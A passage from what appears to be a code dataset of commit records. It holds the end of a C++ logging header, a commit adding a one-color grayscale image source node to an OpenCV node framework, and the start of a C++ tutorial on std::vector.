Log::Level::all;\n            std::string str;\n        };\n\n        void logLoop()\n        {\n            for (;;)\n            {\n                std::unique_lock lock(queueMutex);\n                while (commandQueue.empty()) queueCondition.wait(lock);\n                auto command = std::move(commandQueue.front());\n                commandQueue.pop();\n                lock.unlock();\n\n                if (command.type == Command::Type::logString)\n                    logString(command.str, command.level);\n                else if (command.type == Command::Type::quit)\n                    break;\n            }\n        }\n\n        mutable std::condition_variable queueCondition;\n        mutable std::mutex queueMutex;\n        mutable std::queue<Command> commandQueue;\n        Thread logThread;\n#endif\n    };\n}\n\n#endif \/\/ OUZEL_UTILS_LOG_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include \"Logic\/NodeType.h\"\n#include \"Logic\/NodeFactory.h\"\n#include \"Kommon\/HighResolutionClock.h\"\n#include \"Kommon\/StringUtils.h\"\n\n#include <chrono>\n#include <thread>\n\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\nclass VideoFromFileNodeType : public NodeType\n{\npublic:\n\tVideoFromFileNodeType()\n#ifdef QT_DEBUG\n\t\t: _videoPath(\"video-4.mkv\")\n#else\n\t\t: _videoPath(\"\")\n#endif\n\t\t, _startFrame(0)\n\t\t, _endFrame(0)\n\t\t, _frameInterval(0)\n\t\t, _ignoreFps(false)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::VideoPath:\n\t\t\t_videoPath = newValue.toFilepath();\n\t\t\treturn true;\n\t\tcase pid::StartFrame:\n\t\t\t_startFrame = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::EndFrame:\n\t\t\t_endFrame = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::IgnoreFps:\n\t\t\t_ignoreFps = newValue.toBool();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::VideoPath: return _videoPath;\n\t\tcase pid::StartFrame: return int(_startFrame);\n\t\tcase pid::EndFrame: return int(_endFrame);\n\t\tcase pid::IgnoreFps: return _ignoreFps;\n\t\t}\n\n\t\treturn NodeProperty();\n\t}\n\n\tbool restart() override\n\t{\n\t\t\/\/ This isn't really necessary as subsequent open()\n\t\t\/\/ should call it automatically\n\t\tif(_capture.isOpened())\n\t\t\t_capture.release();\n\n\t\t_capture.open(_videoPath.data());\n\t\tif(!_capture.isOpened())\n\t\t\treturn false;\n\n\t\tif(_startFrame > 0)\n\t\t\t_capture.set(CV_CAP_PROP_POS_FRAMES, _startFrame);\n\n\t\tdouble fps = _ignoreFps ? 0 : _capture.get(CV_CAP_PROP_FPS);\n\n\t\t_frameInterval = (fps != 0)\n\t\t\t? unsigned(ceil(1000.0 \/ fps))\n\t\t\t: 0;\n\t\t_timeStamp = std::chrono::high_resolution_clock::time_point();\n\t\t_maxFrames = static_cast<unsigned>(_capture.get(CV_CAP_PROP_FRAME_COUNT));\n\t\t_currentFrame = _startFrame > 0 ? _startFrame : 0;\n\n\t\treturn true;\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tdouble start = _clock.currentTimeInSeconds();\n\n\t\tif(!_capture.isOpened())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\t\/\/ We need this so we won't replace previous good frame with current bad (for instance - end of video)\n\t\tcv::Mat buffer; \n\t\t++_currentFrame;\n\n\t\tif(_endFrame > 0 && _currentFrame >= _endFrame)\n\t\t{\n\t\t\t\/\/ No more data (for us)\n\t\t\treturn ExecutionStatus(EStatus::Ok, string_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\\nFrame: %d\/%d\",\n\t\t\t\tbuffer.cols, buffer.rows, buffer.cols * buffer.rows * sizeof(uchar) * buffer.channels() \/ 1024, _currentFrame - 1, _maxFrames));\n\t\t}\n\n\t\tif(_frameInterval == 0)\n\t\t{\n\t\t\t_capture.read(buffer);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tusing namespace std::chrono;\n\n\t\t\t\/\/ This should keep FPS in sync\n\t\t\thigh_resolution_clock::time_point s = high_resolution_clock::now();\n\t\t\tmilliseconds dura = duration_cast<milliseconds>(s - _timeStamp);\n\t\t\tif(dura.count() < _frameInterval)\n\t\t\t{\n\t\t\t\tmilliseconds waitDuration = milliseconds(_frameInterval) - dura;\n\t\t\t\tstd::this_thread::sleep_for(waitDuration);\n\t\t\t\t\/\/ New start time\n\t\t\t\tstart = _clock.currentTimeInSeconds();\n\t\t\t}\n\n\t\t\t_capture.read(buffer);\n\n\t\t\t_timeStamp = std::chrono::high_resolution_clock::now();\n\t\t}\n\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\tif(!buffer.empty())\n\t\t{\n\t\t\tcv::cvtColor(buffer, output, CV_BGR2GRAY);\n\t\t\tdouble stop = _clock.currentTimeInSeconds();\n\t\t\tdouble elapsed = (stop - start) * 1e3;\n\n\t\t\treturn ExecutionStatus(EStatus::Tag, elapsed,\n\t\t\t\tstring_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\\nFrame: %d\/%d\",\n\t\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024, _currentFrame, _maxFrames));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ No more data \n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\t\t}\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Filepath, \"Video path\", \"filter:Video files (*.mkv *.mp4 *.avi *.flv)\" },\n\t\t\t{ EPropertyType::Integer, \"Start frame\", \"min:0\" },\n\t\t\t{ EPropertyType::Integer, \"End frame\", \"min:0\" },\n\t\t\t{ EPropertyType::Boolean, \"Ignore FPS\", \"\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Provides video frames from specified stream.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t\tnodeConfig.flags = ENodeConfig::HasState | ENodeConfig::AutoTag | ENodeConfig::OverridesTimeComputation;\n\t}\n\nprivate:\n\tenum class pid\n\t{\n\t\tVideoPath,\n\t\tStartFrame,\n\t\tEndFrame,\n\t\tIgnoreFps,\n\t};\n\n\tFilepath _videoPath;\n\tcv::VideoCapture _capture;\n\tunsigned _startFrame;\n\tunsigned _endFrame;\n\tunsigned _frameInterval;\n\tunsigned _currentFrame;\n\tunsigned _maxFrames;\n\tstd::chrono::high_resolution_clock::time_point _timeStamp;\n\tstatic HighResolutionClock _clock;\n\tbool _ignoreFps;\n};\nHighResolutionClock VideoFromFileNodeType::_clock;\n\nclass ImageFromFileNodeType : public NodeType\n{\npublic: \n\tImageFromFileNodeType()\n#ifdef QT_DEBUG\n\t\t: _filePath(\"lena.jpg\")\n#else\n\t\t: _filePath(\"\")\n#endif\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tif(propId == 0)\n\t\t{\n\t\t\t_filePath = newValue.toFilepath();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tif(propId == 0)\n\t\t\treturn _filePath;\n\n\t\treturn NodeProperty();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\toutput = cv::imread(_filePath.data(), CV_LOAD_IMAGE_GRAYSCALE);\n\n\t\tif(output.empty())\n\t\t\treturn ExecutionStatus(EStatus::Error, \"File not found\");\n\t\treturn ExecutionStatus(EStatus::Ok, \n\t\t\tstring_format(\"Image image width: %d\\nImage image height: %d\\nImage size in kbytes: %d\",\n\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Filepath, \"File path\", \"filter:\"\n\t\t\t\"Popular image formats (*.bmp *.jpeg *.jpg *.png *.tiff);;\"\n\t\t\t\"Windows bitmaps (*.bmp *.dib);;\"\n\t\t\t\"JPEG files (*.jpeg *.jpg *.jpe);;\"\n\t\t\t\"JPEG 2000 files (*.jp2);;\"\n\t\t\t\"Portable Network Graphics (*.png);;\"\n\t\t\t\"Portable image format (*.pbm *.pgm *.ppm);;\"\n\t\t\t\"Sun rasters (*.sr *.ras);;\"\n\t\t\t\"TIFF files (*.tiff *.tif);;\"\n\t\t\t\"All files (*.*)\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Loads image from a given location.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t}\n\nprotected:\n\tFilepath _filePath;\n};\n\nclass ImageFromFileStreamNodeType : public ImageFromFileNodeType\n{\npublic: \n\tbool restart() override\n\t{ \n\t\t_img = cv::imread(_filePath.data(), CV_LOAD_IMAGE_GRAYSCALE);\n\n\t\treturn !_img.empty();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\toutput = _img;\n\n\t\treturn ExecutionStatus(EStatus::Tag, \n\t\t\tstring_format(\"Image image width: %d\\nImage image height: %d\\nImage size in kbytes: %d\",\n\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tImageFromFileNodeType::configuration(nodeConfig);\n\t\tnodeConfig.flags = ENodeConfig::AutoTag | ENodeConfig::HasState;\n\t}\n\nprivate:\n\tcv::Mat _img;\n};\n\nclass CameraCaptureNodeType : public NodeType\n{\npublic:\n\tCameraCaptureNodeType()\n\t\t: _deviceId(0)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::DeviceId:\n\t\t\t_deviceId = newValue.toInt();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::DeviceId: return _deviceId;\n\t\t}\n\n\t\treturn NodeProperty();\n\t}\n\n\tbool restart() override\n\t{\n\t\t_capture.open(_deviceId);\n\t\tif(!_capture.isOpened())\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\t\/\/\/ TODO: Could be moved to background thread (just like JAI)\n\t\tcv::Mat tmp;\n\t\t_capture >> tmp;\n\n\t\tif(tmp.empty())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\t\tif(tmp.channels() > 1)\n\t\t\tcvtColor(tmp, output, CV_BGR2GRAY);\n\n\t\treturn ExecutionStatus(EStatus::Tag, \n\t\t\tstring_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\",\n\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid finish() override\n\t{\n\t\tif(_capture.isOpened())\n\t\t\t_capture.release();\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Integer, \"Device Id\", \"min:0\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Provides video frames from specified camera device.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t\tnodeConfig.flags = ENodeConfig::HasState | ENodeConfig::AutoTag;\n\t}\n\nprivate:\n\tenum class pid\n\t{\n\t\tDeviceId\n\t};\n\n\tint _deviceId;\n\tcv::VideoCapture _capture;\n};\n\nREGISTER_NODE(\"Sources\/Image from file stream\", ImageFromFileStreamNodeType)\nREGISTER_NODE(\"Sources\/Camera capture\", CameraCaptureNodeType)\nREGISTER_NODE(\"Sources\/Video from file\", VideoFromFileNodeType)\nREGISTER_NODE(\"Sources\/Image from file\", ImageFromFileNodeType)\n<commit_msg>added node for generating solid image (one-color)<commit_after>#include \"Logic\/NodeType.h\"\n#include \"Logic\/NodeFactory.h\"\n#include \"Kommon\/HighResolutionClock.h\"\n#include \"Kommon\/StringUtils.h\"\n\n#include <chrono>\n#include <thread>\n\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\nclass VideoFromFileNodeType : public NodeType\n{\npublic:\n\tVideoFromFileNodeType()\n#ifdef QT_DEBUG\n\t\t: _videoPath(\"video-4.mkv\")\n#else\n\t\t: _videoPath(\"\")\n#endif\n\t\t, _startFrame(0)\n\t\t, _endFrame(0)\n\t\t, _frameInterval(0)\n\t\t, _ignoreFps(false)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::VideoPath:\n\t\t\t_videoPath = newValue.toFilepath();\n\t\t\treturn true;\n\t\tcase pid::StartFrame:\n\t\t\t_startFrame = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::EndFrame:\n\t\t\t_endFrame = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::IgnoreFps:\n\t\t\t_ignoreFps = newValue.toBool();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::VideoPath: return _videoPath;\n\t\tcase pid::StartFrame: return int(_startFrame);\n\t\tcase pid::EndFrame: return int(_endFrame);\n\t\tcase pid::IgnoreFps: return _ignoreFps;\n\t\t}\n\n\t\treturn NodeProperty();\n\t}\n\n\tbool restart() override\n\t{\n\t\t\/\/ This isn't really necessary as subsequent open()\n\t\t\/\/ should call it automatically\n\t\tif(_capture.isOpened())\n\t\t\t_capture.release();\n\n\t\t_capture.open(_videoPath.data());\n\t\tif(!_capture.isOpened())\n\t\t\treturn false;\n\n\t\tif(_startFrame > 0)\n\t\t\t_capture.set(CV_CAP_PROP_POS_FRAMES, _startFrame);\n\n\t\tdouble fps = _ignoreFps ? 0 : _capture.get(CV_CAP_PROP_FPS);\n\n\t\t_frameInterval = (fps != 0)\n\t\t\t? unsigned(ceil(1000.0 \/ fps))\n\t\t\t: 0;\n\t\t_timeStamp = std::chrono::high_resolution_clock::time_point();\n\t\t_maxFrames = static_cast<unsigned>(_capture.get(CV_CAP_PROP_FRAME_COUNT));\n\t\t_currentFrame = _startFrame > 0 ? _startFrame : 0;\n\n\t\treturn true;\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tdouble start = _clock.currentTimeInSeconds();\n\n\t\tif(!_capture.isOpened())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\n\t\t\/\/ We need this so we won't replace previous good frame with current bad (for instance - end of video)\n\t\tcv::Mat buffer; \n\t\t++_currentFrame;\n\n\t\tif(_endFrame > 0 && _currentFrame >= _endFrame)\n\t\t{\n\t\t\t\/\/ No more data (for us)\n\t\t\treturn ExecutionStatus(EStatus::Ok, string_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\\nFrame: %d\/%d\",\n\t\t\t\tbuffer.cols, buffer.rows, buffer.cols * buffer.rows * sizeof(uchar) * buffer.channels() \/ 1024, _currentFrame - 1, _maxFrames));\n\t\t}\n\n\t\tif(_frameInterval == 0)\n\t\t{\n\t\t\t_capture.read(buffer);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tusing namespace std::chrono;\n\n\t\t\t\/\/ This should keep FPS in sync\n\t\t\thigh_resolution_clock::time_point s = high_resolution_clock::now();\n\t\t\tmilliseconds dura = duration_cast<milliseconds>(s - _timeStamp);\n\t\t\tif(dura.count() < _frameInterval)\n\t\t\t{\n\t\t\t\tmilliseconds waitDuration = milliseconds(_frameInterval) - dura;\n\t\t\t\tstd::this_thread::sleep_for(waitDuration);\n\t\t\t\t\/\/ New start time\n\t\t\t\tstart = _clock.currentTimeInSeconds();\n\t\t\t}\n\n\t\t\t_capture.read(buffer);\n\n\t\t\t_timeStamp = std::chrono::high_resolution_clock::now();\n\t\t}\n\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\tif(!buffer.empty())\n\t\t{\n\t\t\tcv::cvtColor(buffer, output, CV_BGR2GRAY);\n\t\t\tdouble stop = _clock.currentTimeInSeconds();\n\t\t\tdouble elapsed = (stop - start) * 1e3;\n\n\t\t\treturn ExecutionStatus(EStatus::Tag, elapsed,\n\t\t\t\tstring_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\\nFrame: %d\/%d\",\n\t\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024, _currentFrame, _maxFrames));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ No more data \n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\t\t}\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Filepath, \"Video path\", \"filter:Video files (*.mkv *.mp4 *.avi *.flv)\" },\n\t\t\t{ EPropertyType::Integer, \"Start frame\", \"min:0\" },\n\t\t\t{ EPropertyType::Integer, \"End frame\", \"min:0\" },\n\t\t\t{ EPropertyType::Boolean, \"Ignore FPS\", \"\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Provides video frames from specified stream.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t\tnodeConfig.flags = ENodeConfig::HasState | ENodeConfig::AutoTag | ENodeConfig::OverridesTimeComputation;\n\t}\n\nprivate:\n\tenum class pid\n\t{\n\t\tVideoPath,\n\t\tStartFrame,\n\t\tEndFrame,\n\t\tIgnoreFps,\n\t};\n\n\tFilepath _videoPath;\n\tcv::VideoCapture _capture;\n\tunsigned _startFrame;\n\tunsigned _endFrame;\n\tunsigned _frameInterval;\n\tunsigned _currentFrame;\n\tunsigned _maxFrames;\n\tstd::chrono::high_resolution_clock::time_point _timeStamp;\n\tstatic HighResolutionClock _clock;\n\tbool _ignoreFps;\n};\nHighResolutionClock VideoFromFileNodeType::_clock;\n\nclass ImageFromFileNodeType : public NodeType\n{\npublic: \n\tImageFromFileNodeType()\n#ifdef QT_DEBUG\n\t\t: _filePath(\"lena.jpg\")\n#else\n\t\t: _filePath(\"\")\n#endif\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tif(propId == 0)\n\t\t{\n\t\t\t_filePath = newValue.toFilepath();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tif(propId == 0)\n\t\t\treturn _filePath;\n\n\t\treturn NodeProperty();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\toutput = cv::imread(_filePath.data(), CV_LOAD_IMAGE_GRAYSCALE);\n\n\t\tif(output.empty())\n\t\t\treturn ExecutionStatus(EStatus::Error, \"File not found\");\n\t\treturn ExecutionStatus(EStatus::Ok, \n\t\t\tstring_format(\"Image image width: %d\\nImage image height: %d\\nImage size in kbytes: %d\",\n\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Filepath, \"File path\", \"filter:\"\n\t\t\t\"Popular image formats (*.bmp *.jpeg *.jpg *.png *.tiff);;\"\n\t\t\t\"Windows bitmaps (*.bmp *.dib);;\"\n\t\t\t\"JPEG files (*.jpeg *.jpg *.jpe);;\"\n\t\t\t\"JPEG 2000 files (*.jp2);;\"\n\t\t\t\"Portable Network Graphics (*.png);;\"\n\t\t\t\"Portable image format (*.pbm *.pgm *.ppm);;\"\n\t\t\t\"Sun rasters (*.sr *.ras);;\"\n\t\t\t\"TIFF files (*.tiff *.tif);;\"\n\t\t\t\"All files (*.*)\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Loads image from a given location.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t}\n\nprotected:\n\tFilepath _filePath;\n};\n\nclass ImageFromFileStreamNodeType : public ImageFromFileNodeType\n{\npublic: \n\tbool restart() override\n\t{ \n\t\t_img = cv::imread(_filePath.data(), CV_LOAD_IMAGE_GRAYSCALE);\n\n\t\treturn !_img.empty();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\toutput = _img;\n\n\t\treturn ExecutionStatus(EStatus::Tag, \n\t\t\tstring_format(\"Image image width: %d\\nImage image height: %d\\nImage size in kbytes: %d\",\n\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tImageFromFileNodeType::configuration(nodeConfig);\n\t\tnodeConfig.flags = ENodeConfig::AutoTag | ENodeConfig::HasState;\n\t}\n\nprivate:\n\tcv::Mat _img;\n};\n\nclass CameraCaptureNodeType : public NodeType\n{\npublic:\n\tCameraCaptureNodeType()\n\t\t: _deviceId(0)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::DeviceId:\n\t\t\t_deviceId = newValue.toInt();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::DeviceId: return _deviceId;\n\t\t}\n\n\t\treturn NodeProperty();\n\t}\n\n\tbool restart() override\n\t{\n\t\t_capture.open(_deviceId);\n\t\tif(!_capture.isOpened())\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\n\t\t\/\/\/ TODO: Could be moved to background thread (just like JAI)\n\t\tcv::Mat tmp;\n\t\t_capture >> tmp;\n\n\t\tif(tmp.empty())\n\t\t\treturn ExecutionStatus(EStatus::Ok);\n\t\tif(tmp.channels() > 1)\n\t\t\tcvtColor(tmp, output, CV_BGR2GRAY);\n\n\t\treturn ExecutionStatus(EStatus::Tag, \n\t\t\tstring_format(\"Frame image width: %d\\nFrame image height: %d\\nFrame size in kbytes: %d\",\n\t\t\t\toutput.cols, output.rows, output.cols * output.rows * sizeof(uchar) * output.channels() \/ 1024));\n\t}\n\n\tvoid finish() override\n\t{\n\t\tif(_capture.isOpened())\n\t\t\t_capture.release();\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Integer, \"Device Id\", \"min:0\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Provides video frames from specified camera device.\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t\tnodeConfig.flags = ENodeConfig::HasState | ENodeConfig::AutoTag;\n\t}\n\nprivate:\n\tenum class pid\n\t{\n\t\tDeviceId\n\t};\n\n\tint _deviceId;\n\tcv::VideoCapture _capture;\n};\n\nclass SolidImageNodeType : public NodeType\n{\npublic: \n\tSolidImageNodeType()\n\t\t: _width(512)\n\t\t, _height(512)\n\t\t, _gray(0)\n\t{\n\t}\n\n\tbool setProperty(PropertyID propId, const NodeProperty& newValue) override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::Width:\n\t\t\t_width = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::Height:\n\t\t\t_height = newValue.toInt();\n\t\t\treturn true;\n\t\tcase pid::Gray:\n\t\t\t_gray = newValue.toInt();\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tNodeProperty property(PropertyID propId) const override\n\t{\n\t\tswitch(static_cast<pid>(propId))\n\t\t{\n\t\tcase pid::Width: return _width;\n\t\tcase pid::Height: return _height;\n\t\tcase pid::Gray: return _gray;\n\t\t}\n\n\t\treturn NodeProperty();\n\t}\n\n\tExecutionStatus execute(NodeSocketReader&, NodeSocketWriter& writer) override\n\t{\n\t\tcv::Mat& output = writer.acquireSocket(0).getImage();\n\t\tif(_width * _height > 0)\n\t\t\toutput = cv::Mat(_height, _width, CV_8UC1, cv::Scalar(_gray));\n\t\treturn ExecutionStatus(EStatus::Ok);\n\t}\n\n\tvoid configuration(NodeConfig& nodeConfig) const override\n\t{\n\t\tstatic const OutputSocketConfig out_config[] = {\n\t\t\t{ ENodeFlowDataType::Image, \"output\", \"Output\", \"\" },\n\t\t\t{ ENodeFlowDataType::Invalid, \"\", \"\", \"\" }\n\t\t};\n\t\tstatic const PropertyConfig prop_config[] = {\n\t\t\t{ EPropertyType::Integer, \"Width\", \"min:1, max:4096\" },\n\t\t\t{ EPropertyType::Integer, \"Height\", \"min:1, max:4096\" },\n\t\t\t{ EPropertyType::Integer, \"Gray\", \"min:0, max:255\" },\n\t\t\t{ EPropertyType::Unknown, \"\", \"\" }\n\t\t};\n\n\t\tnodeConfig.description = \"Creates solid one-color (grayscale) image\";\n\t\tnodeConfig.pOutputSockets = out_config;\n\t\tnodeConfig.pProperties = prop_config;\n\t}\n\nprivate:\n\tenum class pid\n\t{\n\t\tWidth,\n\t\tHeight,\n\t\tGray\n\t};\n\n\tint _width;\n\tint _height;\n\tint _gray;\n};\n\nREGISTER_NODE(\"Sources\/Solid image\", SolidImageNodeType)\nREGISTER_NODE(\"Sources\/Image from file stream\", ImageFromFileStreamNodeType)\nREGISTER_NODE(\"Sources\/Camera capture\", CameraCaptureNodeType)\nREGISTER_NODE(\"Sources\/Video from file\", VideoFromFileNodeType)\nREGISTER_NODE(\"Sources\/Image from file\", ImageFromFileNodeType)\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <vector>\n\n\/* C++ supports vectors as part of the standard template library (STL). Unlike lists\n   the memory allocated for the nodes is contingous and random access is possible.\n*\/\n\n\nint main(int argc, char* argv[])\n{\n    std::vector<int> x(3);         \/\/ declares a vector of integers of size 3\n\n    \/\/ elements can be written into a vector using []\n    x[0] = 7;\n    x[1] = 8;\n    x[2] = 19;\n\n    \/\/ elements can also be read using []\n    std::cout << x[0] << \" \" << x[1] << \" \" << x[2] << std::endl;\n\n    \/\/ elements can be accessed also using at() which checks the bounds\n    std::cout << x.at(0) << \" \" << x.at(1) << \" \" << x.at(2) << std::endl;\n\n    std::vector<int> y;         \/\/ declare a vector of unspecified size\n    y.push_back(2);             \/\/ add elements at the end of the vector\n    y.push_back(3);\n    y.push_back(4);\n    x.push_back(4);             \/\/ this also works if x was declared previously of size 3\n    \/\/ elements can still be read using []\n    std::cout << y[0] << \" \" << y[1] << \" \" << y[2] << std::endl;\n\n    \/\/ the size of the vector is dynamically expanded 